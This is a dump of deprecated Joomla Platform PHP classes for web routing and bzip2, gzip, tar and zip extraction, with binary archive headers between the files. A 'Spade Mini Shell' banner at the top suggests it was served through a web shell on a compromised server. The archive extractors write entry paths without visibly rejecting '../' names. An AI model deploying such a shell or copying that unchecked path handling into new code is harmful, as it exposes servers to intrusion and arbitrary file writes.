Spade
Mini Shell
PKGn�[�@�y77application/web/router/base.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Application
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Basic Web application router class for the Joomla Platform.
*
* @since 3.0
* @deprecated 4.0 Use the `joomla/router` package via Composer instead
*/
class JApplicationWebRouterBase extends JApplicationWebRouter
{
/**
* @var array An array of rules, each rule being an associative
array('regex'=> $regex, 'vars' => $vars,
'controller' => $controller)
* for routing the request.
* @since 3.0
*/
protected $maps = array();
/**
* Add a route map to the router. If the pattern already exists it will
be overwritten.
*
* @param string $pattern The route pattern to use for matching.
* @param string $controller The controller name to map to the given
pattern.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function addMap($pattern, $controller)
{
// Sanitize and explode the pattern.
$pattern = explode('/', trim(parse_url((string) $pattern,
PHP_URL_PATH), ' /'));
// Prepare the route variables
$vars = array();
// Initialize regular expression
$regex = array();
// Loop on each segment
foreach ($pattern as $segment)
{
// Match a splat with no variable.
if ($segment == '*')
{
$regex[] = '.*';
}
// Match a splat and capture the data to a named variable.
elseif ($segment[0] == '*')
{
$vars[] = substr($segment, 1);
$regex[] = '(.*)';
}
// Match an escaped splat segment.
elseif ($segment[0] == '\\' && $segment[1] ==
'*')
{
$regex[] = '\*' . preg_quote(substr($segment, 2));
}
// Match an unnamed variable without capture.
elseif ($segment == ':')
{
$regex[] = '[^/]*';
}
// Match a named variable and capture the data.
elseif ($segment[0] == ':')
{
$vars[] = substr($segment, 1);
$regex[] = '([^/]*)';
}
// Match a segment with an escaped variable character prefix.
elseif ($segment[0] == '\\' && $segment[1] ==
':')
{
$regex[] = preg_quote(substr($segment, 1));
}
// Match the standard segment.
else
{
$regex[] = preg_quote($segment);
}
}
$this->maps[] = array(
'regex' => chr(1) . '^' . implode('/',
$regex) . '$' . chr(1),
'vars' => $vars,
'controller' => (string) $controller,
);
return $this;
}
/**
* Add a route map to the router. If the pattern already exists it will
be overwritten.
*
* @param array $maps A list of route maps to add to the router as
$pattern => $controller.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function addMaps($maps)
{
foreach ($maps as $pattern => $controller)
{
$this->addMap($pattern, $controller);
}
return $this;
}
/**
* Parse the given route and return the name of a controller mapped to the
given route.
*
* @param string $route The route string for which to find and execute
a controller.
*
* @return string The controller name for the given route excluding
prefix.
*
* @since 3.0
* @throws InvalidArgumentException
*/
protected function parseRoute($route)
{
$controller = false;
// Trim the query string off.
$route = preg_replace('/([^?]*).*/u', '\1', $route);
// Sanitize and explode the route.
$route = trim(parse_url($route, PHP_URL_PATH), ' /');
// If the route is empty then simply return the default route. No
parsing necessary.
if ($route == '')
{
return $this->default;
}
// Iterate through all of the known route maps looking for a match.
foreach ($this->maps as $rule)
{
if (preg_match($rule['regex'], $route, $matches))
{
// If we have gotten this far then we have a positive match.
$controller = $rule['controller'];
// Time to set the input variables.
// We are only going to set them if they don't already exist to
avoid overwriting things.
foreach ($rule['vars'] as $i => $var)
{
$this->input->def($var, $matches[$i + 1]);
// Don't forget to do an explicit set on the GET superglobal.
$this->input->get->def($var, $matches[$i + 1]);
}
$this->input->def('_rawRoute', $route);
break;
}
}
// We were unable to find a route match for the request. Panic.
if (!$controller)
{
throw new InvalidArgumentException(sprintf('Unable to handle
request for route `%s`.', $route), 404);
}
return $controller;
}
}
PKGn�[����application/web/router/rest.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Application
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* RESTful Web application router class for the Joomla Platform.
*
* @since 3.0
* @deprecated 4.0 Use the `joomla/router` package via Composer instead
*/
class JApplicationWebRouterRest extends JApplicationWebRouterBase
{
/**
* @var boolean A boolean allowing to pass _method as parameter in
POST requests
* @since 3.0
*/
protected $methodInPostRequest = false;
/**
* @var array An array of HTTP Method => controller suffix pairs
for routing the request.
* @since 3.0
*/
protected $suffixMap = array(
'GET' => 'Get',
'POST' => 'Create',
'PUT' => 'Update',
'PATCH' => 'Update',
'DELETE' => 'Delete',
'HEAD' => 'Head',
'OPTIONS' => 'Options',
);
/**
* Find and execute the appropriate controller based on a given route.
*
* @param string $route The route string for which to find and execute
a controller.
*
* @return void
*
* @since 3.0
* @throws InvalidArgumentException
* @throws RuntimeException
*/
public function execute($route)
{
// Get the controller name based on the route patterns and requested
route.
$name = $this->parseRoute($route);
// Append the HTTP method based suffix.
$name .= $this->fetchControllerSuffix();
// Get the controller object by name.
$controller = $this->fetchController($name);
// Execute the controller.
$controller->execute();
}
/**
* Set a controller class suffix for a given HTTP method.
*
* @param string $method The HTTP method for which to set the class
suffix.
* @param string $suffix The class suffix to use when fetching the
controller name for a given request.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function setHttpMethodSuffix($method, $suffix)
{
$this->suffixMap[strtoupper((string) $method)] = (string) $suffix;
return $this;
}
/**
* Set to allow or not method in POST request
*
* @param boolean $value A boolean to allow or not method in POST
request
*
* @return void
*
* @since 3.0
*/
public function setMethodInPostRequest($value)
{
$this->methodInPostRequest = $value;
}
/**
* Get the property to allow or not method in POST request
*
* @return boolean
*
* @since 3.0
*/
public function isMethodInPostRequest()
{
return $this->methodInPostRequest;
}
/**
* Get the controller class suffix string.
*
* @return string
*
* @since 3.0
* @throws RuntimeException
*/
protected function fetchControllerSuffix()
{
// Validate that we have a map to handle the given HTTP method.
if (!isset($this->suffixMap[$this->input->getMethod()]))
{
throw new RuntimeException(sprintf('Unable to support the HTTP
method `%s`.', $this->input->getMethod()), 404);
}
// Check if request method is POST
if ($this->methodInPostRequest == true &&
strcmp(strtoupper($this->input->server->getMethod()),
'POST') === 0)
{
// Get the method from input
$postMethod = $this->input->get->getWord('_method');
// Validate that we have a map to handle the given HTTP method from
input
if ($postMethod &&
isset($this->suffixMap[strtoupper($postMethod)]))
{
return ucfirst($this->suffixMap[strtoupper($postMethod)]);
}
}
return ucfirst($this->suffixMap[$this->input->getMethod()]);
}
}
PKGn�[f)�ttapplication/web/router.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Application
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Class to define an abstract Web application router.
*
* @since 3.0
* @deprecated 4.0 Use the `joomla/router` package via Composer instead
*/
abstract class JApplicationWebRouter
{
/**
* @var JApplicationWeb The web application on whose behalf we are
routing the request.
* @since 3.0
*/
protected $app;
/**
* @var string The default page controller name for an empty route.
* @since 3.0
*/
protected $default;
/**
* @var string Controller class name prefix for creating controller
objects by name.
* @since 3.0
*/
protected $controllerPrefix;
/**
* @var JInput An input object from which to derive the route.
* @since 3.0
*/
protected $input;
/**
* Constructor.
*
* @param JApplicationWeb $app The web application on whose behalf
we are routing the request.
* @param JInput $input An optional input object from which
to derive the route. If none
* is given than the input from the
application object will be used.
*
* @since 3.0
*/
public function __construct(JApplicationWeb $app, JInput $input = null)
{
$this->app = $app;
$this->input = ($input === null) ? $this->app->input : $input;
}
/**
* Find and execute the appropriate controller based on a given route.
*
* @param string $route The route string for which to find and execute
a controller.
*
* @return mixed The return value of the controller executed
*
* @since 3.0
* @throws InvalidArgumentException
* @throws RuntimeException
*/
public function execute($route)
{
// Get the controller name based on the route patterns and requested
route.
$name = $this->parseRoute($route);
// Get the controller object by name.
$controller = $this->fetchController($name);
// Execute the controller.
return $controller->execute();
}
/**
* Set the controller name prefix.
*
* @param string $prefix Controller class name prefix for creating
controller objects by name.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function setControllerPrefix($prefix)
{
$this->controllerPrefix = (string) $prefix;
return $this;
}
/**
* Set the default controller name.
*
* @param string $name The default page controller name for an empty
route.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function setDefaultController($name)
{
$this->default = (string) $name;
return $this;
}
/**
* Parse the given route and return the name of a controller mapped to the
given route.
*
* @param string $route The route string for which to find and execute
a controller.
*
* @return string The controller name for the given route excluding
prefix.
*
* @since 3.0
* @throws InvalidArgumentException
*/
abstract protected function parseRoute($route);
/**
* Get a JController object for a given name.
*
* @param string $name The controller name (excluding prefix) for
which to fetch and instance.
*
* @return JController
*
* @since 3.0
* @throws RuntimeException
*/
protected function fetchController($name)
{
// Derive the controller class name.
$class = $this->controllerPrefix . ucfirst($name);
// If the controller class does not exist panic.
if (!class_exists($class) || !is_subclass_of($class,
'JController'))
{
throw new RuntimeException(sprintf('Unable to locate controller
`%s`.', $class), 404);
}
// Instantiate the controller.
$controller = new $class($this->input, $this->app);
return $controller;
}
}
PKGn�[ʭ���archive/archive.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
use Joomla\Archive\Archive;
/**
* An Archive handling class
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
class JArchive
{
/**
* The array of instantiated archive adapters.
*
* @var JArchiveExtractable[]
* @since 3.0.0
*/
protected static $adapters = array();
/**
* Extract an archive file to a directory.
*
* @param string $archivename The name of the archive file
* @param string $extractdir Directory to unpack into
*
* @return boolean True for success
*
* @since 1.5
* @throws InvalidArgumentException
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
public static function extract($archivename, $extractdir)
{
// The archive instance
$archive = new Archive(array('tmp_path' =>
JFactory::getConfig()->get('tmp_path')));
// Extract the archive
return $archive->extract($archivename, $extractdir);
}
/**
* Get a file compression adapter.
*
* @param string $type The type of adapter (bzip2|gzip|tar|zip).
*
* @return JArchiveExtractable Adapter for the requested type
*
* @since 1.5
* @throws UnexpectedValueException
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
public static function getAdapter($type)
{
if (!isset(self::$adapters[$type]))
{
// Try to load the adapter object
$class = 'JArchive' . ucfirst($type);
if (!class_exists($class))
{
throw new UnexpectedValueException('Unable to load archive',
500);
}
self::$adapters[$type] = new $class;
}
return self::$adapters[$type];
}
}
PKGn�[
�M�archive/bzip2.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.stream');
/**
* Bzip2 format adapter for the JArchive class
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Bzip2 class instead
*/
class JArchiveBzip2 implements JArchiveExtractable
{
/**
* Bzip2 file data buffer
*
* @var string
* @since 1.5
*/
private $_data = null;
/**
* Extract a Bzip2 compressed file to a given path
*
* @param string $archive Path to Bzip2 archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 1.5
* @throws RuntimeException
*/
public function extract($archive, $destination, array $options = array())
{
$this->_data = null;
if (!extension_loaded('bz2'))
{
$this->raiseWarning(100, 'The bz2 extension is not
available.');
}
if (isset($options['use_streams']) &&
$options['use_streams'] != false)
{
return $this->extractStream($archive, $destination, $options);
}
// Old style: read the whole file and then parse it
$this->_data = file_get_contents($archive);
if (!$this->_data)
{
return $this->raiseWarning(100, 'Unable to read archive');
}
$buffer = bzdecompress($this->_data);
unset($this->_data);
if (empty($buffer))
{
return $this->raiseWarning(100, 'Unable to decompress
data');
}
if (JFile::write($destination, $buffer) === false)
{
return $this->raiseWarning(100, 'Unable to write archive');
}
return true;
}
/**
* Method to extract archive using stream objects
*
* @param string $archive Path to Bzip2 archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 3.6.0
*/
protected function extractStream($archive, $destination, $options =
array())
{
// New style! streams!
$input = JFactory::getStream();
// Use bzip
$input->set('processingmethod', 'bz');
if (!$input->open($archive))
{
return $this->raiseWarning(100, 'Unable to read archive
(bz2)');
}
$output = JFactory::getStream();
if (!$output->open($destination, 'w'))
{
$input->close();
return $this->raiseWarning(100, 'Unable to write archive
(bz2)');
}
do
{
$this->_data = $input->read($input->get('chunksize',
8196));
if ($this->_data && !$output->write($this->_data))
{
$input->close();
return $this->raiseWarning(100, 'Unable to write archive
(bz2)');
}
}
while ($this->_data);
$output->close();
$input->close();
return true;
}
/**
* Temporary private method to isolate JError from the extract method
* This code should be removed when JError is removed.
*
* @param int $code The application-internal error code for this
error
* @param string $msg The error message, which may also be shown the
user if need be.
*
* @return JException JException instance if JError class exists
*
* @since 3.6.0
* @throws RuntimeException if JError class does not exist
*/
private function raiseWarning($code, $msg)
{
if (class_exists('JError'))
{
return JError::raiseWarning($code, $msg);
}
throw new RuntimeException($msg);
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 2.5.0
*/
public static function isSupported()
{
return extension_loaded('bz2');
}
}
PKGn�[���archive/extractable.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Archieve class interface
*
* @since 3.0.0
* @deprecated 4.0 use the Joomla\Archive\ExtractableInterface interface
instead
*/
interface JArchiveExtractable
{
/**
* Extract a compressed file to a given path
*
* @param string $archive Path to archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [may be unused]
*
* @return boolean True if successful
*
* @since 3.0.0
*/
public function extract($archive, $destination, array $options = array());
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 3.0.0
*/
public static function isSupported();
}
PKGn�[��{��archive/gzip.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
/**
* Gzip format adapter for the JArchive class
*
* This class is inspired from and draws heavily in code and concept from
the Compress package of
* The Horde Project <https://www.horde.org>
*
* @contributor Michael Slusarz <slusarz@horde.org>
* @contributor Michael Cochrane <mike@graftonhall.co.nz>
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Gzip class instead
*/
class JArchiveGzip implements JArchiveExtractable
{
/**
* Gzip file flags.
*
* @var array
* @since 1.5
*/
private $_flags = array('FTEXT' => 0x01, 'FHCRC'
=> 0x02, 'FEXTRA' => 0x04, 'FNAME' => 0x08,
'FCOMMENT' => 0x10);
/**
* Gzip file data buffer
*
* @var string
* @since 1.5
*/
private $_data = null;
/**
* Extract a Gzip compressed file to a given path
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 1.5
* @throws RuntimeException
*/
public function extract($archive, $destination, array $options = array())
{
$this->_data = null;
if (!extension_loaded('zlib'))
{
return $this->raiseWarning(100, 'The zlib extension is not
available.');
}
if (isset($options['use_streams']) &&
$options['use_streams'] != false)
{
return $this->extractStream($archive, $destination, $options);
}
$this->_data = file_get_contents($archive);
if (!$this->_data)
{
return $this->raiseWarning(100, 'Unable to read archive');
}
$position = $this->_getFilePosition();
$buffer = gzinflate(substr($this->_data, $position,
strlen($this->_data) - $position));
if (empty($buffer))
{
return $this->raiseWarning(100, 'Unable to decompress
data');
}
if (JFile::write($destination, $buffer) === false)
{
return $this->raiseWarning(100, 'Unable to write archive');
}
return true;
}
/**
* Method to extract archive using stream objects
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 3.6.0
*/
protected function extractStream($archive, $destination, $options =
array())
{
// New style! streams!
$input = JFactory::getStream();
// Use gz
$input->set('processingmethod', 'gz');
if (!$input->open($archive))
{
return $this->raiseWarning(100, 'Unable to read archive
(gz)');
}
$output = JFactory::getStream();
if (!$output->open($destination, 'w'))
{
$input->close();
return $this->raiseWarning(100, 'Unable to write archive
(gz)');
}
do
{
$this->_data = $input->read($input->get('chunksize',
8196));
if ($this->_data && !$output->write($this->_data))
{
$input->close();
return $this->raiseWarning(100, 'Unable to write file
(gz)');
}
}
while ($this->_data);
$output->close();
$input->close();
return true;
}
/**
* Temporary private method to isolate JError from the extract method
* This code should be removed when JError is removed.
*
* @param int $code The application-internal error code for this
error
* @param string $msg The error message, which may also be shown the
user if need be.
*
* @return JException JException instance if JError class exists
*
* @since 3.6.0
* @throws RuntimeException if JError class does not exist
*/
private function raiseWarning($code, $msg)
{
if (class_exists('JError'))
{
return JError::raiseWarning($code, $msg);
}
throw new RuntimeException($msg);
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 2.5.0
*/
public static function isSupported()
{
return extension_loaded('zlib');
}
/**
* Get file data offset for archive
*
* @return integer Data position marker for archive
*
* @since 1.5
* @throws RuntimeException
*/
public function _getFilePosition()
{
// Gzipped file... unpack it first
$position = 0;
$info = @ unpack('CCM/CFLG/VTime/CXFL/COS',
substr($this->_data, $position + 2));
if (!$info)
{
return $this->raiseWarning(100, 'Unable to decompress
data.');
}
$position += 10;
if ($info['FLG'] & $this->_flags['FEXTRA'])
{
$XLEN = unpack('vLength', substr($this->_data, $position +
0, 2));
$XLEN = $XLEN['Length'];
$position += $XLEN + 2;
}
if ($info['FLG'] & $this->_flags['FNAME'])
{
$filenamePos = strpos($this->_data, "\x0", $position);
$position = $filenamePos + 1;
}
if ($info['FLG'] & $this->_flags['FCOMMENT'])
{
$commentPos = strpos($this->_data, "\x0", $position);
$position = $commentPos + 1;
}
if ($info['FLG'] & $this->_flags['FHCRC'])
{
$hcrc = unpack('vCRC', substr($this->_data, $position + 0,
2));
$hcrc = $hcrc['CRC'];
$position += 2;
}
return $position;
}
}
PKGn�[_����archive/tar.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.path');
/**
* Tar format adapter for the JArchive class
*
* This class is inspired from and draws heavily in code and concept from
the Compress package of
* The Horde Project <https://www.horde.org>
*
* @contributor Michael Slusarz <slusarz@horde.org>
* @contributor Michael Cochrane <mike@graftonhall.co.nz>
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Tar class instead
*/
class JArchiveTar implements JArchiveExtractable
{
/**
* Tar file types.
*
* @var array
* @since 1.5
*/
private $_types = array(
0x0 => 'Unix file',
0x30 => 'File',
0x31 => 'Link',
0x32 => 'Symbolic link',
0x33 => 'Character special file',
0x34 => 'Block special file',
0x35 => 'Directory',
0x36 => 'FIFO special file',
0x37 => 'Contiguous file',
);
/**
* Tar file data buffer
*
* @var string
* @since 1.5
*/
private $_data = null;
/**
* Tar file metadata array
*
* @var array
* @since 1.5
*/
private $_metadata = null;
/**
* Extract a ZIP compressed file to a given path
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive into
* @param array $options Extraction options [unused]
*
* @return boolean|JException True on success, JException instance on
failure if JError class exists
*
* @since 1.5
* @throws RuntimeException if JError class does not exist
*/
public function extract($archive, $destination, array $options = array())
{
$this->_data = null;
$this->_metadata = null;
$this->_data = file_get_contents($archive);
if (!$this->_data)
{
if (class_exists('JError'))
{
return JError::raiseWarning(100, 'Unable to read archive');
}
else
{
throw new RuntimeException('Unable to read archive');
}
}
$this->_getTarInfo($this->_data);
for ($i = 0, $n = count($this->_metadata); $i < $n; $i++)
{
$type = strtolower($this->_metadata[$i]['type']);
if ($type == 'file' || $type == 'unix file')
{
$buffer = $this->_metadata[$i]['data'];
$path = JPath::clean($destination . '/' .
$this->_metadata[$i]['name']);
// Make sure the destination folder exists
if (!JFolder::create(dirname($path)))
{
if (class_exists('JError'))
{
return JError::raiseWarning(100, 'Unable to create
destination');
}
else
{
throw new RuntimeException('Unable to create destination');
}
}
if (JFile::write($path, $buffer) === false)
{
if (class_exists('JError'))
{
return JError::raiseWarning(100, 'Unable to write entry');
}
else
{
throw new RuntimeException('Unable to write entry');
}
}
}
}
return true;
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 2.5.0
*/
public static function isSupported()
{
return true;
}
/**
* Get the list of files/data from a Tar archive buffer.
*
* @param string &$data The Tar archive buffer.
*
* @return boolean|JException True on success, JException instance on
failure if JError class exists
*
* @since 1.5
* @throws RuntimeException if JError class does not exist
*/
protected function _getTarInfo(& $data)
{
$position = 0;
$return_array = array();
while ($position < strlen($data))
{
if (version_compare(PHP_VERSION, '5.5', '>='))
{
$info = @unpack(
'Z100filename/Z8mode/Z8uid/Z8gid/Z12size/Z12mtime/Z8checksum/Ctypeflag/Z100link/Z6magic/Z2version/Z32uname/Z32gname/Z8devmajor/Z8devminor',
substr($data, $position)
);
}
else
{
$info = @unpack(
'a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/Ctypeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
substr($data, $position)
);
}
/**
* This variable has been set in the previous loop,
* meaning that the filename was present in the previous block
* to allow more than 100 characters - see below
*/
if (isset($longlinkfilename))
{
$info['filename'] = $longlinkfilename;
unset($longlinkfilename);
}
if (!$info)
{
if (class_exists('JError'))
{
return JError::raiseWarning(100, 'Unable to decompress
data');
}
else
{
throw new RuntimeException('Unable to decompress data');
}
}
$position += 512;
$contents = substr($data, $position, octdec($info['size']));
$position += ceil(octdec($info['size']) / 512) * 512;
if ($info['filename'])
{
$file = array(
'attr' => null,
'data' => null,
'date' => octdec($info['mtime']),
'name' => trim($info['filename']),
'size' => octdec($info['size']),
'type' =>
isset($this->_types[$info['typeflag']]) ?
$this->_types[$info['typeflag']] : null,
);
if (($info['typeflag'] == 0) || ($info['typeflag']
== 0x30) || ($info['typeflag'] == 0x35))
{
// File or folder.
$file['data'] = $contents;
$mode = hexdec(substr($info['mode'], 4, 3));
$file['attr'] = (($info['typeflag'] == 0x35) ?
'd' : '-') . (($mode & 0x400) ? 'r' :
'-') . (($mode & 0x200) ? 'w' : '-') .
(($mode & 0x100) ? 'x' : '-') . (($mode &
0x040) ? 'r' : '-') . (($mode & 0x020) ?
'w' : '-') . (($mode & 0x010) ? 'x' :
'-') .
(($mode & 0x004) ? 'r' : '-') . (($mode &
0x002) ? 'w' : '-') . (($mode & 0x001) ?
'x' : '-');
}
elseif (chr($info['typeflag']) == 'L' &&
$info['filename'] == '././@LongLink')
{
// GNU tar ././@LongLink support - the filename is actually in the
contents,
// setting a variable here so we can test in the next loop
$longlinkfilename = $contents;
// And the file contents are in the next block so we'll need to
skip this
continue;
}
else
{
// Some other type.
}
$return_array[] = $file;
}
}
$this->_metadata = $return_array;
return true;
}
}
PKGn�[�6___archive/wrapper/archive.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for JArchive
*
* @package Joomla.Platform
* @subpackage Archive
* @since 3.4
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
class JArchiveWrapperArchive
{
/**
* Helper wrapper method for extract
*
* @param string $archivename The name of the archive file
* @param string $extractdir Directory to unpack into
*
* @return boolean True for success
*
* @see JArchive::extract()
* @since 3.4
* @throws InvalidArgumentException
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
public function extract($archivename, $extractdir)
{
return JArchive::extract($archivename, $extractdir);
}
/**
* Helper wrapper method for getAdapter
*
* @param string $type The type of adapter (bzip2|gzip|tar|zip).
*
* @return JArchiveExtractable Adapter for the requested type
*
* @see JUserHelper::getAdapter()
* @since 3.4
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
public function getAdapter($type)
{
return JArchive::getAdapter($type);
}
}
PKGn�[�RX.�A�Aarchive/zip.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
/**
* ZIP format adapter for the JArchive class
*
* The ZIP compression code is partially based on code from:
* Eric Mueller <eric@themepark.com>
* http://www.zend.com/codex.php?id=535&single=1
*
* Deins125 <webmaster@atlant.ru>
* http://www.zend.com/codex.php?id=470&single=1
*
* The ZIP compression date code is partially based on code from
* Peter Listiak <mlady@users.sourceforge.net>
*
* This class is inspired from and draws heavily in code and concept from
the Compress package of
* The Horde Project <https://www.horde.org>
*
* @contributor Chuck Hagenbuch <chuck@horde.org>
* @contributor Michael Slusarz <slusarz@horde.org>
* @contributor Michael Cochrane <mike@graftonhall.co.nz>
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Zip class instead
*/
class JArchiveZip implements JArchiveExtractable
{
/**
* ZIP compression methods.
*
* @var array
* @since 1.5
*/
private $_methods = array(
0x0 => 'None',
0x1 => 'Shrunk',
0x2 => 'Super Fast',
0x3 => 'Fast',
0x4 => 'Normal',
0x5 => 'Maximum',
0x6 => 'Imploded',
0x8 => 'Deflated',
);
/**
* Beginning of central directory record.
*
* @var string
* @since 1.5
*/
private $_ctrlDirHeader = "\x50\x4b\x01\x02";
/**
* End of central directory record.
*
* @var string
* @since 1.5
*/
private $_ctrlDirEnd = "\x50\x4b\x05\x06\x00\x00\x00\x00";
/**
* Beginning of file contents.
*
* @var string
* @since 1.5
*/
private $_fileHeader = "\x50\x4b\x03\x04";
/**
* ZIP file data buffer
*
* @var string
* @since 1.5
*/
private $_data = null;
/**
* ZIP file metadata array
*
* @var array
* @since 1.5
*/
private $_metadata = null;
/**
* Create a ZIP compressed file from an array of file data.
*
* @param string $archive Path to save archive.
* @param array $files Array of files to add to archive.
*
* @return boolean True if successful.
*
* @since 1.5
*
* @todo Finish Implementation
*/
public function create($archive, $files)
{
$contents = array();
$ctrldir = array();
foreach ($files as $file)
{
$this->_addToZIPFile($file, $contents, $ctrldir);
}
return $this->_createZIPFile($contents, $ctrldir, $archive);
}
/**
* Extract a ZIP compressed file to a given path
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive into
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 1.5
* @throws RuntimeException
*/
public function extract($archive, $destination, array $options = array())
{
if (!is_file($archive))
{
return $this->raiseWarning(100, 'Archive does not exist');
}
if ($this->hasNativeSupport())
{
return $this->extractNative($archive, $destination);
}
return $this->extractCustom($archive, $destination);
}
/**
* Temporary private method to isolate JError from the extract method
* This code should be removed when JError is removed.
*
* @param int $code The application-internal error code for this
error
* @param string $msg The error message, which may also be shown the
user if need be.
*
* @return JException JException instance if JError class exists
*
* @since 3.6.0
* @throws RuntimeException if JError class does not exist
*/
private function raiseWarning($code, $msg)
{
if (class_exists('JError'))
{
return JError::raiseWarning($code, $msg);
}
throw new RuntimeException($msg);
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 2.5.0
*/
public static function isSupported()
{
return self::hasNativeSupport() || extension_loaded('zlib');
}
/**
* Method to determine if the server has native zip support for faster
handling
*
* @return boolean True if php has native ZIP support
*
* @since 1.5
*/
public static function hasNativeSupport()
{
return extension_loaded('zip');
}
/**
* Checks to see if the data is a valid ZIP file.
*
* @param string &$data ZIP archive data buffer.
*
* @return boolean True if valid, false if invalid.
*
* @since 1.5
*/
public function checkZipData(&$data)
{
if (strpos($data, $this->_fileHeader) === false)
{
return false;
}
return true;
}
/**
* Extract a ZIP compressed file to a given path using a php based
algorithm that only requires zlib support
*
* @param string $archive Path to ZIP archive to extract.
* @param string $destination Path to extract archive into.
*
* @return mixed True if successful
*
* @since 3.0
* @throws RuntimeException
*/
protected function extractCustom($archive, $destination)
{
$this->_data = null;
$this->_metadata = null;
if (!extension_loaded('zlib'))
{
return $this->raiseWarning(100, 'Zlib not supported');
}
$this->_data = file_get_contents($archive);
if (!$this->_data)
{
return $this->raiseWarning(100, 'Unable to read archive
(zip)');
}
if (!$this->_readZipInfo($this->_data))
{
return $this->raiseWarning(100, 'Get ZIP Information
failed');
}
for ($i = 0, $n = count($this->_metadata); $i < $n; $i++)
{
$lastPathCharacter = substr($this->_metadata[$i]['name'],
-1, 1);
if ($lastPathCharacter !== '/' && $lastPathCharacter
!== '\\')
{
$buffer = $this->_getFileData($i);
$path = JPath::clean($destination . '/' .
$this->_metadata[$i]['name']);
// Make sure the destination folder exists
if (!JFolder::create(dirname($path)))
{
return $this->raiseWarning(100, 'Unable to create
destination');
}
if (JFile::write($path, $buffer) === false)
{
return $this->raiseWarning(100, 'Unable to write entry');
}
}
}
return true;
}
/**
* Extract a ZIP compressed file to a given path using native php api
calls for speed
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive into
*
* @return boolean True on success
*
* @since 3.0
